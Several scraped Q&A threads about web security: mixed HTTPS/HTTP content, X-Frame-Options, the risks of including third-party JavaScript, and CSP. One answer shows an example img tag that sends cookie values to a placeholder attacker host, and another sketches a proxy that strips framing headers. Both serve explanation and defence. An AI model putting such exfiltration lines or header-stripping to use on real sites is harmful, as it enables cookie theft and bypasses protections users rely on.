When setting up a site to run over https:// is there a way to stop the page from blocking any external css or javascript loaded from standard http://.
Some of the external files are under the same domain, so could be called via https://, but some are from another domain that has no secure connection available.
There shouldn't be. Such security measures are in place for good reason.
Even if you could remove them, doing so would be a very bad idea.
A man-in-the-middle attack would allow the JS or CSS (which can have embedded JS via various browser extensions) to be substituted.
This would allow an attacker to run any JS they liked on the page.
That JS could grab any data from the page and send it to the attacker.
The page would not be secure.
Copy the assets somewhere that you can access them over HTTPS.
You can rewrite your links without using scheme (like "//example.com/styles/mystyle.css").
See this questions for details
In case some external content is unavailable via HTTPS, you can make a HTTPS proxy on your server (with some sort of caching and ACL if you like).
Related
I am trying to embed or get the content of a https website and tried already some ways:
Iframe - is forbidden:
[Error] Refused to display 'https:// any url ?width=100?data=data' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
Get the content with tunnel - CONNECT request. Is not allowed.
Is there any way, how i can achieve this? I have read many old posts, that this is possible, but i think all of them are deprecated. Can i proxy the website somehow?
Thanks for your help!
The browser adheres to the directives stated in headers found on web resources response, for various security reasons (e.g., X-Frame-Options header that prevents loading in an iframe).
Old bypass methods that you might've found for these restrictions, are bound to be prevented eventually as they are considered security holes.
Notice that these are client-side restrictions. I believe that methods that involve a special client or a service that ignores these restricting headers, might be the right path to your problem. It all depends on what you're trying to achieve (Just showing the secured page content? Allowing the user to interact with the page? User can log-in to the secured website? etc.)
For example, a web service that fetches a page and serve it to the requesting client without the restricting headers.
This method isn't bulletproof - You might need to rewrite the resource's URLs in the HTML, deal with cookies, prevent javascript code from detecting if the page is in an iframe, etc.
I have a website with SSL (https instead of http). I am attempting to embed a widget that references files (js, css) from another domain. This other domain does not have SSL (http instead of https). As a result, I get an net::ERR_INSECURE_RESPONSE and the widget will not load.
How can I tell my site to allow the insecure content used by the widget?
You cannot tell a website to allow insecure content in the page as it is not the site that is blocking access to the scripts - it's the Browser.
When using SSL the browser puts a minimum level of security on the connection and ensures that no unencrypted connections are being made from the page. This stops any unencrypted connections being used to transmit data in the requests.
The simplest option I can think of to work around this is to host the scripts yourself on the domain that is secured by SSL. It may or may not be possible to edit the widget easily so it uses the locally hosted script instead of the ones from the non-https site.
We're talking to a 3rd party to include some of their data on a website of ours, they want to do it either through an iframe which I don't prefer because of responsiveness reasons.
The other options they offer is the inclusion of a javscript file which will take a parameter to know what DOM element to put the results in.
Basically this gives them access to the javascript scope of our website in which if they wanted can do stuff like hide dom objects etc.
My question is, are there any security things I have to think off? Can they in their javascript for example write malacious code that in the end reads .php files from our server and get passwords from config files etc? Or is the only thing they can do DOM related?
They could:
Take control of users' cookies, including reading and modifying
them.
Redirect the user to any site they would like.
Embed any code they would like into the page.
They can't:
Access php files directly.
Access any server files directly.
Javascript runs in the browser and not on the server.
You're essentially giving them trusted XSS privileges.
If you can do something in a web browser (make posts, "browse" a page, etc), you can automate it using JavaScript. They won't be able to upload/modify your PHP files unless you (or your users) can.
To the user, you're giving them to capability to impersonate you.
To you, you're giving them the capability to impersonate users.
Can they in their javascript for example write malacious code that in the end reads .php files from our server and get passwords from config files etc?
They can do anything in the JavaScript code you're including on your page for them that you can do in JavaScript code on that page. So that could be just about anything you can do client-side. It includes (for instance) grabbing session information that's exposed to your page and being able to send that information elsewhere.
If you don't trust them not to do that, don't include their JavaScript in your page.
We're talking to a 3rd party to include some of their data on a website of ours
Have them make that information available as data, not code, you request via ajax, and have them enable Cross-Origin Resource Sharing for the URL in question for requests from your origin. Then, you know you're just getting their data, not letting them run code.
Note that using JSONP instead of CORS will enable them to run code again, so it would have to be true ajax with CORS if you don't trust them.
You shouldn't have to worry about PHP files, or config files but stealing session cookies or other XSS-style attacks could definitely be an issue.
Why can't/won't they provide data in the form of an API?
I have a webpage with a master script that connects, via AJAX, to a remote server and downloads unsecure JS scripts (let's call them slave scripts), to be executed lately on the client. I would like to limit the Internet access slave scripts have; e.g. they can communicate just with the remote server.
Do you have any idea of how can I achieve this?
Thanks,
Laurențiu Dascălu
You can't.
JavaScript AJAX calls will have access to whatever the browser has access to.
Your best bet would be attempt to create a third JavaScript component to proxy the slave script calls through. That component would be responsible for ensuring that the slave scripts weren't calling any URLs that they shouldn't be.
The downside, of course, is that anybody can download and modify all of your scripts anyway...which means that any proxy would be easy to overcome.
Use Caja. It can convert untrusted Javascript into safe Javascript which can only access specific resources as defined by you.
Run the scripts in an iframe hosted on a different domain, and the browser same-origin security policy should make it more secure.
Why is it that when we link to a javascript file on x.com from y.com (for example google analytics or jquery) it doesn't cause any cross domain security issues?
For example:
in y.com/index.html we have:
<script type="text/javascript" src="http://x.com/jsfile.js" />
How can we know when this is ok to do and when it's not?
It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.
For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.
David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.
The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.
As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.
Where the data comes from is irrelevant, it's the scope where it's used that matters.
You are just getting the script from a different domain, it still runs in the scope of your own page so it doesn't have any access to resources in the domain from where it was loaded.
In a situation where you have cross domain issues, like an iframe containing a page from a different domain, you have two different scopes. The page in the iframe runs in the scope of the domain where it was loaded from, so it can access resources in that domain, but it can't access anything in the page that is hosting the iframe as that is a different scope.
(Note: I don't know if the term "scope" is commonly used in this context, there might be a term that better describes it.)
I don't know why we can do it. But you can prevent it from happening using Content Security Policy (CSP), a HTTP header sent by your web application that declares that it should not load JavaScript except from domains you explicitly allow.
https://en.wikipedia.org/wiki/Content_Security_Policy
http://docs.webplatform.org/wiki/tutorials/content-security-policy
https://content-security-policy.com/
https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy